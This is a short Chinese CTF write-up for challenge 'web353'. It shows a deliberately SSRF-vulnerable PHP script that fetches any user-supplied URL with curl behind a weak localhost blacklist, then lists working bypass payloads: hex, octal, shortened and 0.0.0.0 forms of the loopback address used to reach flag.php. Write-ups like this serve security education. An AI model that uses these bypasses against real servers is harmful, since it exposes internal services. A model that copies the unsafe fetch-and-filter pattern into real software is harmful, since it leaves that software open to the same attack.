web353(parse_url+过滤)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
进制绕过         url=http://0x7F000001/flag.php # 127.0.0.1的十六进制表示
0.0.0.0绕过        url=http://0.0.0.0/flag.php # 0.0.0.0表示本机中所有的IPV4地址
特殊的地址0,    url=http://0/flag.php # 0在linux系统下被解析为127.0.0.1,在windows下解析为0.0.0.0
还有            url=http://127.1/flag.php #127.0.0.1的缩写形式
还有            url=http://127.0000000000000.001/flag.php
还有            url=http://0177.0.0.1/flag.php #0177是127的八进制表示 

 

posted @ 2025-05-21 16:20  justdoIT*  阅读(8)  评论(0)    收藏  举报